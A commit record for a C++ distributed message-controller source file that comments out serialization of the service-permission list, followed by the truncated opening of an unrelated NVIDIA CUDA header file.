BOOST_ONCE_INIT;\n\nMessageControllerFull::MessageControllerFull(const std::string& controllerName,\n\t\tunsigned int servicePort) :\n\tmessageDispatcher_(this, this, this, this, this), asyncConnector_(this,\n\t\t\tio_service_) {\n\townerManager_ = controllerName;\n\n\tservicePort_ = servicePort;\n\tasyncConnector_.listen(servicePort_);\n\tipAddress_ = getLocalHostIp(io_service_);\n\n\tsaveLoadAvailableServiceList_(AvailServiceFileName, false);\n\n\t\/\/ timeout is 1 second\n\ttimeOutMilliSecond_ = 1000;\n\n\t\/\/serviceResultReply_ = false;\n\n\t\/\/ start from 1, so 0 is a invalid client id\n\tnxtClientId_ = 1;\n\n\t\/\/ create thread for I\/O operations\n\tioThread_ = new boost::thread(boost::bind(&boost::asio::io_service::run, &io_service_));\n}\n\nMessageControllerFull::~MessageControllerFull() {\n\tasyncConnector_.shutdown();\n\tioThread_->join();\n\tdelete ioThread_;\n\tsaveLoadAvailableServiceList_(AvailServiceFileName, true);\n}\n\nvoid MessageControllerFull::saveLoadAvailableServiceList_(\n\t\tconst string& fileName, bool bStore) {\n\tif (bStore) {\t\t\n\t\tstd::ofstream ofs(fileName.data(), ios::binary | ios::trunc);\n\t\tboost::archive::binary_oarchive oa(ofs);\t\t\n\t\toa & availableServiceList_;\n\t} else {\n\t\tif ( ! boost::filesystem::exists(fileName) ) \n\t\t\treturn;\n\t\t\n\t\tstd::ifstream ifs(fileName.data(), ios::binary);\n\t\tboost::archive::binary_iarchive ia(ifs);\t\n\t\tia & availableServiceList_;\n\t\t\n\t\tstd::map<std::string, ServicePermissionInfo>::iterator it;\n\t\tit = availableServiceList_.begin();\n\t\tfor(; it != availableServiceList_.begin(); it++){\n\t\t\tcout<<\"!!!!!!!!1\"<<endl;\n\t\t\tcout<<it->first<<endl;\n\t\t it->second.display();\n\t\t}\n\t}\n}\n\n\/******************************************************************************\n Description: This function processes all the waiting service registration requests.\n It registers all the services from MessageServer (IP address, port number,\n a list of service which can be provided by the MessageServer).\n *******************************************************************************\/\nvoid MessageControllerFull::processServiceRegistrationRequest(void) {\n\ttry\n\t{\n\t\tboost::mutex::scoped_lock serviceRegistrationRequestQueueLock(\n\t\t\t\tserviceRegistrationRequestQueueMutex_);\n\n\t\twhile(true)\n\t\t{\n\t\t\tnewRegistrationEvent_.wait(serviceRegistrationRequestQueueLock);\n#ifdef _LOGGING_\n\t\t\tWriteToLog(\"log.log\", \"=============processServiceRegistrationRequest===========\");\n#endif\n\t\t\twhile(!serviceRegistrationRequestQueue_.empty())\n\t\t\t{\n\t\t\t\tstd::pair<ServiceRegistrationMessage, MessageFrameworkNode> request =\n\t\t\t\tserviceRegistrationRequestQueue_.front();\n\t\t\t\tserviceRegistrationRequestQueue_.pop();\n\t\t\t\tserviceRegistrationRequestQueueLock.unlock();\n\n\t\t\t\t{\n\t\t\t\t\t\/\/ check if the sevice has been registered\n\t\t\t\t\tstring serviceName = request.first.getServiceInfo().getServiceName();\n\t\t\t\t\tMessageFrameworkNode server = request.first.getServiceInfo().getServer();\n\n\t\t\t\t\tboost::mutex::scoped_lock availableServiceListLock(availableServiceListMutex_);\n\n\t\t\t\t\tstd::cout<<\"ServiceRegistrationRequest: \"<<serviceName<<std::endl;\n\t\t\t\t\tif( availableServiceList_.find(serviceName) != availableServiceList_.end() )\n\t\t\t\t\t{\n#ifdef SF1_DEBUG\n\t\t\t\t\t\tstd::cout << \"[Controller:\" << getName();\n\t\t\t\t\t\tstd::cout << \"] ServiceInfo \" << request.first.getServiceName() << \" already exists.\";\n\t\t\t\t\t\tstd::cout << \"New data overwrites old data.\" << std::endl;\n#endif\n\n\t\t\t\t\t\tavailableServiceList_[serviceName].setServer(request.first.getAgentInfo(), server);\n\t\t\t\t\t} else\n\t\t\t\t\t{\n\t\t\t\t\t\tServicePermissionInfo permissionInfo;\n\t\t\t\t\t\tpermissionInfo.setServiceName(serviceName);\n\t\t\t\t\t\tpermissionInfo.setServer(request.first.getAgentInfo(), server);\n\t\t\t\t\t\tavailableServiceList_[serviceName] = permissionInfo;\n\t\t\t\t\t}\n\n\t\t\t\t\t\/\/availableServiceList_[serviceName].display();\n\t\t\t\t\tsendServiceRegistrationResult(request.second, request.first.getServiceInfo(), true);\n\t\t\t\t}\n\n\t\t\t\tsaveLoadAvailableServiceList_(AvailServiceFileName, true);\n#ifdef SF1_DEBUG\n\t\t\t\tstd::cout << \"[Controller:\" << getName() << \"] ServiceInfo [\" << request.first.getServiceName();\n\t\t\t\tstd::cout << \", \" << request.first.getServer().nodeIP_ << \":\";\n\t\t\t\tstd::cout << request.first.getServer().nodePort_ << \"] is successfully registerd.\" << std::endl;\n#endif\n\t\t\t\t\/\/ connection to server\n\t\t\t\tif(!messageDispatcher_.isExist(request.first.getServer()))\n\t\t\t\t{\n\t\t\t\t\tasyncConnector_.connect(request.first.getServer().nodeIP_,\n\t\t\t\t\t\t\trequest.first.getServer().nodePort_);\n\t\t\t\t}\n\t\t\t\tserviceRegistrationRequestQueueLock.lock();\n\t\t\t}\n\t\t}\/\/ end of while true\n\t}\n\tcatch(MessageFrameworkException& e)\n\t{\n\t\te.output(std::cout);\n\t}\n\tcatch (boost::system::error_code& e)\n\t{\n\t\tstd::cerr << \"Exception: \" << e << std::endl;\n\t}\n\tcatch (std::exception& e)\n\t{\n\t\tstd::cerr << \"Exception: \"<< e.what() << std::endl;\n\t}\n}\n\n\/******************************************************************************\n Description: This function processes all the waiting service permission requests.\n It determines whether it is available to process the service and issues\n permission to the MessageClient. If the service needs to use the direct\n connection, MessageControllerFull sends the permission to the MessageServer.\n ******************************************************************************\/\n\nbool MessageControllerFull::checkAgentInfo_(\n\t\tServicePermissionInfo& permissionInfo) {\n\tconst std::map<std::string, MessageFrameworkNode>& agentInfoMap =\n\t\t\tpermissionInfo.getServerMap();\n\tstd::map<std::string, MessageFrameworkNode>::const_iterator it =\n\t\t\tagentInfoMap.begin();\n\n\tfor (; it != agentInfoMap.end(); it++) {\n\t\tif ( !messageDispatcher_.isExist(it->second) ) {\n\t\t\tDLOG(ERROR)<<\"ServicePermissionInfo:\"<<it->first<<\" -> server:\"\n\t\t\t\t\t<<it->second<<\"not exists\";\n\t\t\tpermissionInfo.removeServer(it->first);\n\t\t\tsaveLoadAvailableServiceList_(AvailServiceFileName, true);\t\t\n\t\t}\n\t}\n\tif (it != agentInfoMap.end() )\n\t\treturn false;\n\treturn true;\n\n}\n\nvoid MessageControllerFull::processServicePermissionRequest(void) {\n\ttry\n\t{\n\t\tstd::pair<std::string, MessageFrameworkNode> requestItem;\n\t\tServiceInfo serviceInfo;\n\n\t\tboost::mutex::scoped_lock permissionRequestQueueLock(servicePermissionRequestQueueMutex_);\n\t\twhile(true)\n\t\t{\n\t\t\tnewPermissionRequestEvent_.wait(permissionRequestQueueLock);\n#ifdef _LOGGING_\n\t\t\tWriteToLog(\"log.log\", \"============= processServicePermissionRequest ===========\");\n#endif\n\t\t\t\/\/ process all the waiting requests\n\t\t\twhile(!servicePermissionRequestQueue_.empty())\n\t\t\t{\n\t\t\t\trequestItem = servicePermissionRequestQueue_.front();\n\t\t\t\tservicePermissionRequestQueue_.pop();\n\n\t\t\t\tpermissionRequestQueueLock.unlock();\n\n\t\t\t\tif( availableServiceList_.find(requestItem.first) != availableServiceList_.end() )\n\t\t\t\t{\n\t\t\t\t\tboost::mutex::scoped_lock availableServiceListLock(availableServiceListMutex_);\n\t\t\t\t\tcheckAgentInfo_( availableServiceList_[requestItem.first] );\n\t\t\t\t\tsendPermissionOfServiceResult(requestItem.second, availableServiceList_[requestItem.first] );\n\t\t\t\t\tavailableServiceList_[requestItem.first].display();\n\t\t\t\t\t\/\/ to improve performance, direct connection to\n\t\t\t\t\t\/\/ server is always made\n\t\t\t\t\t\/\/serviceInfo.setPermissionFlag(SERVE_AT_SERVER);\n\t\t\t\t\t\/\/ serviceInfo.setServer(ipAddress_, servicePort_);\n\n\t\t\t\t} else\n\t\t\t\t{\n\t\t\t\t\tServicePermissionInfo permission;\n\t\t\t\t\tpermission.setServiceName(requestItem.first);\n\t\t\t\t\t\/\/serviceInfo.setPermissionFlag(UNKNOWN_PERMISSION_FLAG);\n#ifdef SF1_DEBUG\n\t\t\t\t\tstd::cout << \" [Controller:\" << getName();\n\t\t\t\t\tstd::cout << \"] Service \" << requestItem.first;\n\t\t\t\t\tstd::cout << \" is not listed.\" << std::endl;\n#endif\n\t\t\t\t\tsendPermissionOfServiceResult(requestItem.second, permission );\n\t\t\t\t\tcout<<\"!!! no listed\"<<endl;\n\t\t\t\t\tavailableServiceList_[requestItem.first].display();\n\t\t\t\t}\n\n#ifdef SF1_DEBUG\n\t\t\t\tstd::cout << \"[Controller:\" << getName();\n\t\t\t\tstd::cout << \"] Permission of \" << requestItem.first;\n\t\t\t\tstd::cout << \" is successfully sent to \";\n\t\t\t\tstd::cout << requestItem.second.nodeIP_ << \":\" << requestItem.second.nodePort_ << std::endl;\n#endif\n\t\t\t\tpermissionRequestQueueLock.lock();\n\t\t\t}\/\/ end of while(!servicePermissionRequestQueue_.empty())\n\t\t}\/\/ end of while(true)\n\t}\n\tcatch(MessageFrameworkException& e)\n\t{\n\t\te.output(std::cout);\n\t}\n\tcatch (boost::system::error_code& e)\n\t{\n\t\tstd::cerr << \"Exception: \" << e << std::endl;\n\t}\n\tcatch (std::exception& e)\n\t{\n\t\tstd::cerr << \"Exception: \"<< e.what() << std::endl;\n\t}\n\n}\n\n\/******************************************************************************\n Description: When a new request of get client id comes, this function is called\n in order to notify the server\n ******************************************************************************\/\nvoid MessageControllerFull::receiveClientIdRequest(\n\t\tconst MessageFrameworkNode& requester) {\n\t{\n\t\tboost::mutex::scoped_lock lock(nxtClientIdMutex_);\n\t\tif (nxtClientId_ == MF_FULL_MAX_CLIENT_ID) {\n\t\t\tstd::cout << \"Max Client ID reached\" << std::endl;\n\t\t\tthrow MessageFrameworkException(SF1_MSGFRK_LOGIC_ERROR, __LINE__, __FILE__);\n\t\t}\n\t\tstd::cout << \"DEBUG: MessageControllerFull:: dispatch nxtClientId_=\"\n\t\t\t\t<<nxtClientId_ << std::endl;\n\t\tsendClientIdResult(requester, nxtClientId_);\n\t\tnxtClientId_ ++;\n\t}\n}\n\n\/******************************************************************************\n Description: This function replies to a request from ClientIdRequester\n ******************************************************************************\/\nvoid MessageControllerFull::sendClientIdResult(\n\t\tconst MessageFrameworkNode& requester, const int& clientId) {\n\tClientIdReplyMessage message(clientId);\n\tmessageDispatcher_.sendDataToLowerLayer(CLIENT_ID_REPLY_MSG, message,\n\t\t\trequester);\n}\n\n\/******************************************************************************\n Description: This function put a request to get permission of service into the\n waiting queue. The requests in the waitiing queue will be processed in function\n processServicePermissionRequest().\n ******************************************************************************\/\nvoid MessageControllerFull::receivePermissionOfServiceRequest(\n\t\tconst MessageFrameworkNode& requester, const std::string& serviceName) {\n#ifdef SF1_DEBUG\n\tstd::cout << \"[Controller:\" << getName() << \"] Receive permission request of \";\n\tstd::cout << serviceName << \" from \" << requester.nodeName_ << std::endl;\n#endif\n\t{\n\t\tboost::mutex::scoped_lock lock(servicePermissionRequestQueueMutex_);\n\t\tservicePermissionRequestQueue_.push(std::pair<std::string, MessageFrameworkNode>(serviceName, requester));\n\t}\n\tnewPermissionRequestEvent_.notify_all();\n}\n\n\/******************************************************************************\n Description: This function inserts a ServiceInfo to the serviceRegistrationRequestQueue_.\n It returns false if the data alread exists in the queue.\n Input:\n serviceInfo - data to add\n ******************************************************************************\/\nvoid MessageControllerFull::receiveServiceRegistrationRequest(const MessageFrameworkNode& localEndPoint,\nconst ServiceRegistrationMessage& registMessage)\n{\n\ttry\n\t{\n\t\t{\n\t\t\tboost::mutex::scoped_lock lock(serviceRegistrationRequestQueueMutex_);\n\t\t\tserviceRegistrationRequestQueue_.push(\n\t\t\tstd::pair<ServiceRegistrationMessage, MessageFrameworkNode>(registMessage, localEndPoint));\n\t\t}\n\t\tnewRegistrationEvent_.notify_all();\n\t}\n\tcatch (boost::system::error_code& e)\n\t{\n\t\tstd::cerr << \"Exception: \" << e << std::endl;\n\t}\n\tcatch (std::exception& e)\n\t{\n\t\tstd::cerr << \"Exception: \"<< e.what() << std::endl;\n\t}\n\n}\n\n\/**\n * @brief This function replies to a registration request from ServiceRegistrationRequester. It\n * will sends registration result to the ServiceRegistrationRequester.\n * @param localEndPoint the end point that connects to the ServiceRegistrationClient.\n * @param serviceInfo the service information to register\n * @param success the registration result\n *\/\nvoid MessageControllerFull::sendServiceRegistrationResult(const MessageFrameworkNode& localEndPoint, const ServiceInfo& serviceInfo,\nbool success)\n{\n\tServiceRegistrationReplyMessage message(serviceInfo.getServiceName(), success);\n\n\tmessageDispatcher_.sendDataToLowerLayer(SERVICE_REGISTRATION_REPLY_MSG, message, localEndPoint);\n}\n\n\/**\n * @brief This function replies to a request from PermissionRequester\n *\/\nvoid MessageControllerFull::sendPermissionOfServiceResult(const MessageFrameworkNode& requester,\nconst ServicePermissionInfo & permission)\n{\n\tmessageDispatcher_.sendDataToLowerLayer(PERMISSION_OF_SERVICE_REPLY_MSG,\n\tpermission, requester);\n}\n\n\/**\n * @brief This function create a new AsyncStream that is based on tcp::socket\n *\/\nAsyncStream* MessageControllerFull::createAsyncStream(boost::shared_ptr<tcp::socket> sock)\n{\n\t\/\/ tcp::endpoint endpoint = sock->local_endpoint();\n\ttcp::endpoint endpoint = sock->remote_endpoint();\n\tstd::cout << \"Remote IP = \" << endpoint.address().to_string();\n\tstd::cout << \", port = \" << endpoint.port() << std::endl;\n\n\treturn new AsyncStream(&messageDispatcher_, sock);\n}\n\n}\/\/ end of namespace messageframework\n\n<commit_msg>disable load permisioninfo in controller<commit_after>\/\/\/\n\/\/\/ @file MessageControllerFull.cpp\n\/\/\/ @date 8\/5\/2008\n\/\/\/ @author TuanQuang Nguyen\n\/\/\/ \n\/\/\/\n\n\/**************** Include module header files *******************\/\n\/\/ #include <BasicMessage.h>\n#include <net\/message-framework\/MessageControllerFull.h>\n#include <net\/message-framework\/MessageFrameworkConfiguration.h>\n#include <net\/message-framework\/ServiceMessage.h>\n#include <net\/message-framework\/MessageType.h>\n#include <net\/message-framework\/ServiceRegistrationMessage.h>\n#include <net\/message-framework\/ServiceRegistrationReplyMessage.h>\n#include <net\/message-framework\/ClientIdReplyMessage.h>\n#include <net\/message-framework\/ServicePermissionInfo.h>\n#include <boost\/filesystem.hpp>\n\n\n\/**************** Include boost header files *******************\/\n#include <boost\/bind.hpp>\n#include <boost\/shared_ptr.hpp>\n#include <boost\/thread.hpp>\n\n\/**************** Include std header files *******************\/\n#include <iostream>\n\n\/**************** Include sf1lib header files *******************\/\n\nconst static string AvailServiceFileName = \"_ctr_services.dat\";\n\nnamespace messageframework {\n\/\/static member variables\nstd::string MessageControllerFullSingleton::controllerName_(\"\");\nunsigned int MessageControllerFullSingleton::controllerPort_ = 0;\nboost::scoped_ptr<MessageControllerFull>\n\t\tMessageControllerFullSingleton::messageController_(0);\nboost::once_flag MessageControllerFullSingleton::flag= BOOST_ONCE_INIT;\n\nMessageControllerFull::MessageControllerFull(const std::string& controllerName,\n\t\tunsigned int servicePort) :\n\tmessageDispatcher_(this, this, this, this, this), asyncConnector_(this,\n\t\t\tio_service_) {\n\townerManager_ = controllerName;\n\n\tservicePort_ = servicePort;\n\tasyncConnector_.listen(servicePort_);\n\tipAddress_ = getLocalHostIp(io_service_);\n\n\tsaveLoadAvailableServiceList_(AvailServiceFileName, false);\n\n\t\/\/ timeout is 1 second\n\ttimeOutMilliSecond_ = 1000;\n\n\t\/\/serviceResultReply_ = false;\n\n\t\/\/ start from 1, so 0 is a invalid client id\n\tnxtClientId_ = 1;\n\n\t\/\/ create thread for I\/O operations\n\tioThread_ = new boost::thread(boost::bind(&boost::asio::io_service::run, &io_service_));\n}\n\nMessageControllerFull::~MessageControllerFull() {\n\tasyncConnector_.shutdown();\n\tioThread_->join();\n\tdelete ioThread_;\n\tsaveLoadAvailableServiceList_(AvailServiceFileName, true);\n}\n\nvoid MessageControllerFull::saveLoadAvailableServiceList_(\n\t\tconst string& fileName, bool bStore) {\n\/\/\tif (bStore) {\t\t\n\/\/\t\tstd::ofstream ofs(fileName.data(), ios::binary | ios::trunc);\n\/\/\t\tboost::archive::binary_oarchive oa(ofs);\t\t\n\/\/\t\toa & availableServiceList_;\n\/\/\t} else {\n\/\/\t\tif ( ! boost::filesystem::exists(fileName) ) \n\/\/\t\t\treturn;\n\/\/\t\t\n\/\/\t\tstd::ifstream ifs(fileName.data(), ios::binary);\n\/\/\t\tboost::archive::binary_iarchive ia(ifs);\t\n\/\/\t\tia & availableServiceList_;\n\/\/\t\t\n\/\/\t\tstd::map<std::string, ServicePermissionInfo>::iterator it;\n\/\/\t\tit = availableServiceList_.begin();\n\/\/\t\tfor(; it != availableServiceList_.end(); it++){\n\/\/\t\t\tcout<<\"!!!!!!!!1\"<<endl;\n\/\/\t\t\tcout<<it->first<<endl;\n\/\/\t\t it->second.display();\n\/\/\t\t}\n\/\/\t}\n}\n\n\/******************************************************************************\n Description: This function processes all the waiting service registration requests.\n It registers all the services from MessageServer (IP address, port number,\n a list of service which can be provided by the MessageServer).\n *******************************************************************************\/\nvoid MessageControllerFull::processServiceRegistrationRequest(void) {\n\ttry\n\t{\n\t\tboost::mutex::scoped_lock serviceRegistrationRequestQueueLock(\n\t\t\t\tserviceRegistrationRequestQueueMutex_);\n\n\t\twhile(true)\n\t\t{\n\t\t\tnewRegistrationEvent_.wait(serviceRegistrationRequestQueueLock);\n#ifdef _LOGGING_\n\t\t\tWriteToLog(\"log.log\", \"=============processServiceRegistrationRequest===========\");\n#endif\n\t\t\twhile(!serviceRegistrationRequestQueue_.empty())\n\t\t\t{\n\t\t\t\tstd::pair<ServiceRegistrationMessage, MessageFrameworkNode> request =\n\t\t\t\tserviceRegistrationRequestQueue_.front();\n\t\t\t\tserviceRegistrationRequestQueue_.pop();\n\t\t\t\tserviceRegistrationRequestQueueLock.unlock();\n\n\t\t\t\t{\n\t\t\t\t\t\/\/ check if the sevice has been registered\n\t\t\t\t\tstring serviceName = request.first.getServiceInfo().getServiceName();\n\t\t\t\t\tMessageFrameworkNode server = request.first.getServiceInfo().getServer();\n\n\t\t\t\t\tboost::mutex::scoped_lock availableServiceListLock(availableServiceListMutex_);\n\n\t\t\t\t\tstd::cout<<\"ServiceRegistrationRequest: \"<<serviceName<<std::endl;\n\t\t\t\t\tif( availableServiceList_.find(serviceName) != availableServiceList_.end() )\n\t\t\t\t\t{\n#ifdef SF1_DEBUG\n\t\t\t\t\t\tstd::cout << \"[Controller:\" << getName();\n\t\t\t\t\t\tstd::cout << \"] ServiceInfo \" << request.first.getServiceName() << \" already exists.\";\n\t\t\t\t\t\tstd::cout << \"New data overwrites old data.\" << std::endl;\n#endif\n\n\t\t\t\t\t\tavailableServiceList_[serviceName].setServer(request.first.getAgentInfo(), server);\n\t\t\t\t\t} else\n\t\t\t\t\t{\n\t\t\t\t\t\tServicePermissionInfo permissionInfo;\n\t\t\t\t\t\tpermissionInfo.setServiceName(serviceName);\n\t\t\t\t\t\tpermissionInfo.setServer(request.first.getAgentInfo(), server);\n\t\t\t\t\t\tavailableServiceList_[serviceName] = permissionInfo;\n\t\t\t\t\t}\n\n\t\t\t\t\t\/\/availableServiceList_[serviceName].display();\n\t\t\t\t\tsendServiceRegistrationResult(request.second, request.first.getServiceInfo(), true);\n\t\t\t\t}\n\n\t\t\t\tsaveLoadAvailableServiceList_(AvailServiceFileName, true);\n#ifdef SF1_DEBUG\n\t\t\t\tstd::cout << \"[Controller:\" << getName() << \"] ServiceInfo [\" << request.first.getServiceName();\n\t\t\t\tstd::cout << \", \" << request.first.getServer().nodeIP_ << \":\";\n\t\t\t\tstd::cout << request.first.getServer().nodePort_ << \"] is successfully registerd.\" << std::endl;\n#endif\n\t\t\t\t\/\/ connection to server\n\t\t\t\tif(!messageDispatcher_.isExist(request.first.getServer()))\n\t\t\t\t{\n\t\t\t\t\tasyncConnector_.connect(request.first.getServer().nodeIP_,\n\t\t\t\t\t\t\trequest.first.getServer().nodePort_);\n\t\t\t\t}\n\t\t\t\tserviceRegistrationRequestQueueLock.lock();\n\t\t\t}\n\t\t}\/\/ end of while true\n\t}\n\tcatch(MessageFrameworkException& e)\n\t{\n\t\te.output(std::cout);\n\t}\n\tcatch (boost::system::error_code& e)\n\t{\n\t\tstd::cerr << \"Exception: \" << e << std::endl;\n\t}\n\tcatch (std::exception& e)\n\t{\n\t\tstd::cerr << \"Exception: \"<< e.what() << std::endl;\n\t}\n}\n\n\/******************************************************************************\n Description: This function processes all the waiting service permission requests.\n It determines whether it is available to process the service and issues\n permission to the MessageClient. If the service needs to use the direct\n connection, MessageControllerFull sends the permission to the MessageServer.\n ******************************************************************************\/\n\nbool MessageControllerFull::checkAgentInfo_(\n\t\tServicePermissionInfo& permissionInfo) {\n\tconst std::map<std::string, MessageFrameworkNode>& agentInfoMap =\n\t\t\tpermissionInfo.getServerMap();\n\tstd::map<std::string, MessageFrameworkNode>::const_iterator it =\n\t\t\tagentInfoMap.begin();\n\n\tfor (; it != agentInfoMap.end(); it++) {\n\t\tif ( !messageDispatcher_.isExist(it->second) ) {\n\t\t\tDLOG(ERROR)<<\"ServicePermissionInfo:\"<<it->first<<\" -> server:\"\n\t\t\t\t\t<<it->second<<\"not exists\";\n\t\t\tpermissionInfo.removeServer(it->first);\n\t\t\tsaveLoadAvailableServiceList_(AvailServiceFileName, true);\t\t\n\t\t}\n\t}\n\tif (it != agentInfoMap.end() )\n\t\treturn false;\n\treturn true;\n\n}\n\nvoid MessageControllerFull::processServicePermissionRequest(void) {\n\ttry\n\t{\n\t\tstd::pair<std::string, MessageFrameworkNode> requestItem;\n\t\tServiceInfo serviceInfo;\n\n\t\tboost::mutex::scoped_lock permissionRequestQueueLock(servicePermissionRequestQueueMutex_);\n\t\twhile(true)\n\t\t{\n\t\t\tnewPermissionRequestEvent_.wait(permissionRequestQueueLock);\n#ifdef _LOGGING_\n\t\t\tWriteToLog(\"log.log\", \"============= processServicePermissionRequest ===========\");\n#endif\n\t\t\t\/\/ process all the waiting requests\n\t\t\twhile(!servicePermissionRequestQueue_.empty())\n\t\t\t{\n\t\t\t\trequestItem = servicePermissionRequestQueue_.front();\n\t\t\t\tservicePermissionRequestQueue_.pop();\n\n\t\t\t\tpermissionRequestQueueLock.unlock();\n\n\t\t\t\tif( availableServiceList_.find(requestItem.first) != availableServiceList_.end() )\n\t\t\t\t{\n\t\t\t\t\tboost::mutex::scoped_lock availableServiceListLock(availableServiceListMutex_);\n\t\t\t\t\tcheckAgentInfo_( availableServiceList_[requestItem.first] );\n\t\t\t\t\tsendPermissionOfServiceResult(requestItem.second, availableServiceList_[requestItem.first] );\n\t\t\t\t\tavailableServiceList_[requestItem.first].display();\n\t\t\t\t\t\/\/ to improve performance, direct connection to\n\t\t\t\t\t\/\/ server is always made\n\t\t\t\t\t\/\/serviceInfo.setPermissionFlag(SERVE_AT_SERVER);\n\t\t\t\t\t\/\/ serviceInfo.setServer(ipAddress_, servicePort_);\n\n\t\t\t\t} else\n\t\t\t\t{\n\t\t\t\t\tServicePermissionInfo permission;\n\t\t\t\t\tpermission.setServiceName(requestItem.first);\n\t\t\t\t\t\/\/serviceInfo.setPermissionFlag(UNKNOWN_PERMISSION_FLAG);\n#ifdef SF1_DEBUG\n\t\t\t\t\tstd::cout << \" [Controller:\" << getName();\n\t\t\t\t\tstd::cout << \"] Service \" << requestItem.first;\n\t\t\t\t\tstd::cout << \" is not listed.\" << std::endl;\n#endif\n\t\t\t\t\tsendPermissionOfServiceResult(requestItem.second, permission );\n\t\t\t\t\tcout<<\"!!! no listed\"<<endl;\n\t\t\t\t\tavailableServiceList_[requestItem.first].display();\n\t\t\t\t}\n\n#ifdef SF1_DEBUG\n\t\t\t\tstd::cout << \"[Controller:\" << getName();\n\t\t\t\tstd::cout << \"] Permission of \" << requestItem.first;\n\t\t\t\tstd::cout << \" is successfully sent to \";\n\t\t\t\tstd::cout << requestItem.second.nodeIP_ << \":\" << requestItem.second.nodePort_ << std::endl;\n#endif\n\t\t\t\tpermissionRequestQueueLock.lock();\n\t\t\t}\/\/ end of while(!servicePermissionRequestQueue_.empty())\n\t\t}\/\/ end of while(true)\n\t}\n\tcatch(MessageFrameworkException& e)\n\t{\n\t\te.output(std::cout);\n\t}\n\tcatch (boost::system::error_code& e)\n\t{\n\t\tstd::cerr << \"Exception: \" << e << std::endl;\n\t}\n\tcatch (std::exception& e)\n\t{\n\t\tstd::cerr << \"Exception: \"<< e.what() << std::endl;\n\t}\n\n}\n\n\/******************************************************************************\n Description: When a new request of get client id comes, this function is called\n in order to notify the server\n ******************************************************************************\/\nvoid MessageControllerFull::receiveClientIdRequest(\n\t\tconst MessageFrameworkNode& requester) {\n\t{\n\t\tboost::mutex::scoped_lock lock(nxtClientIdMutex_);\n\t\tif (nxtClientId_ == MF_FULL_MAX_CLIENT_ID) {\n\t\t\tstd::cout << \"Max Client ID reached\" << std::endl;\n\t\t\tthrow MessageFrameworkException(SF1_MSGFRK_LOGIC_ERROR, __LINE__, __FILE__);\n\t\t}\n\t\tstd::cout << \"DEBUG: MessageControllerFull:: dispatch nxtClientId_=\"\n\t\t\t\t<<nxtClientId_ << std::endl;\n\t\tsendClientIdResult(requester, nxtClientId_);\n\t\tnxtClientId_ ++;\n\t}\n}\n\n\/******************************************************************************\n Description: This function replies to a request from ClientIdRequester\n ******************************************************************************\/\nvoid MessageControllerFull::sendClientIdResult(\n\t\tconst MessageFrameworkNode& requester, const int& clientId) {\n\tClientIdReplyMessage message(clientId);\n\tmessageDispatcher_.sendDataToLowerLayer(CLIENT_ID_REPLY_MSG, message,\n\t\t\trequester);\n}\n\n\/******************************************************************************\n Description: This function put a request to get permission of service into the\n waiting queue. The requests in the waitiing queue will be processed in function\n processServicePermissionRequest().\n ******************************************************************************\/\nvoid MessageControllerFull::receivePermissionOfServiceRequest(\n\t\tconst MessageFrameworkNode& requester, const std::string& serviceName) {\n#ifdef SF1_DEBUG\n\tstd::cout << \"[Controller:\" << getName() << \"] Receive permission request of \";\n\tstd::cout << serviceName << \" from \" << requester.nodeName_ << std::endl;\n#endif\n\t{\n\t\tboost::mutex::scoped_lock lock(servicePermissionRequestQueueMutex_);\n\t\tservicePermissionRequestQueue_.push(std::pair<std::string, MessageFrameworkNode>(serviceName, requester));\n\t}\n\tnewPermissionRequestEvent_.notify_all();\n}\n\n\/******************************************************************************\n Description: This function inserts a ServiceInfo to the serviceRegistrationRequestQueue_.\n It returns false if the data alread exists in the queue.\n Input:\n serviceInfo - data to add\n ******************************************************************************\/\nvoid MessageControllerFull::receiveServiceRegistrationRequest(const MessageFrameworkNode& localEndPoint,\nconst ServiceRegistrationMessage& registMessage)\n{\n\ttry\n\t{\n\t\t{\n\t\t\tboost::mutex::scoped_lock lock(serviceRegistrationRequestQueueMutex_);\n\t\t\tserviceRegistrationRequestQueue_.push(\n\t\t\tstd::pair<ServiceRegistrationMessage, MessageFrameworkNode>(registMessage, localEndPoint));\n\t\t}\n\t\tnewRegistrationEvent_.notify_all();\n\t}\n\tcatch (boost::system::error_code& e)\n\t{\n\t\tstd::cerr << \"Exception: \" << e << std::endl;\n\t}\n\tcatch (std::exception& e)\n\t{\n\t\tstd::cerr << \"Exception: \"<< e.what() << std::endl;\n\t}\n\n}\n\n\/**\n * @brief This function replies to a registration request from ServiceRegistrationRequester. It\n * will sends registration result to the ServiceRegistrationRequester.\n * @param localEndPoint the end point that connects to the ServiceRegistrationClient.\n * @param serviceInfo the service information to register\n * @param success the registration result\n *\/\nvoid MessageControllerFull::sendServiceRegistrationResult(const MessageFrameworkNode& localEndPoint, const ServiceInfo& serviceInfo,\nbool success)\n{\n\tServiceRegistrationReplyMessage message(serviceInfo.getServiceName(), success);\n\n\tmessageDispatcher_.sendDataToLowerLayer(SERVICE_REGISTRATION_REPLY_MSG, message, localEndPoint);\n}\n\n\/**\n * @brief This function replies to a request from PermissionRequester\n *\/\nvoid MessageControllerFull::sendPermissionOfServiceResult(const MessageFrameworkNode& requester,\nconst ServicePermissionInfo & permission)\n{\n\tmessageDispatcher_.sendDataToLowerLayer(PERMISSION_OF_SERVICE_REPLY_MSG,\n\tpermission, requester);\n}\n\n\/**\n * @brief This function create a new AsyncStream that is based on tcp::socket\n *\/\nAsyncStream* MessageControllerFull::createAsyncStream(boost::shared_ptr<tcp::socket> sock)\n{\n\t\/\/ tcp::endpoint endpoint = sock->local_endpoint();\n\ttcp::endpoint endpoint = sock->remote_endpoint();\n\tstd::cout << \"Remote IP = \" << endpoint.address().to_string();\n\tstd::cout << \", port = \" << endpoint.port() << std::endl;\n\n\treturn new AsyncStream(&messageDispatcher_, sock);\n}\n\n}\/\/ end of namespace messageframework\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2008-2013 NVIDIA Corporation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#pragma once\n\n#include <agency\/detail\/config.hpp>\n#include <agency\/cuda\/detail\/feature_test.hpp>\n#include <agency\/cuda\/detail\/terminate.hpp>\n#include <agency\/cuda\/detail\/unique_ptr.hpp>\n#include <agency\/cuda\/detail\/then_kernel.hpp>\n#include <agency\/cuda\/detail\/launch_kernel.hpp>\n#include 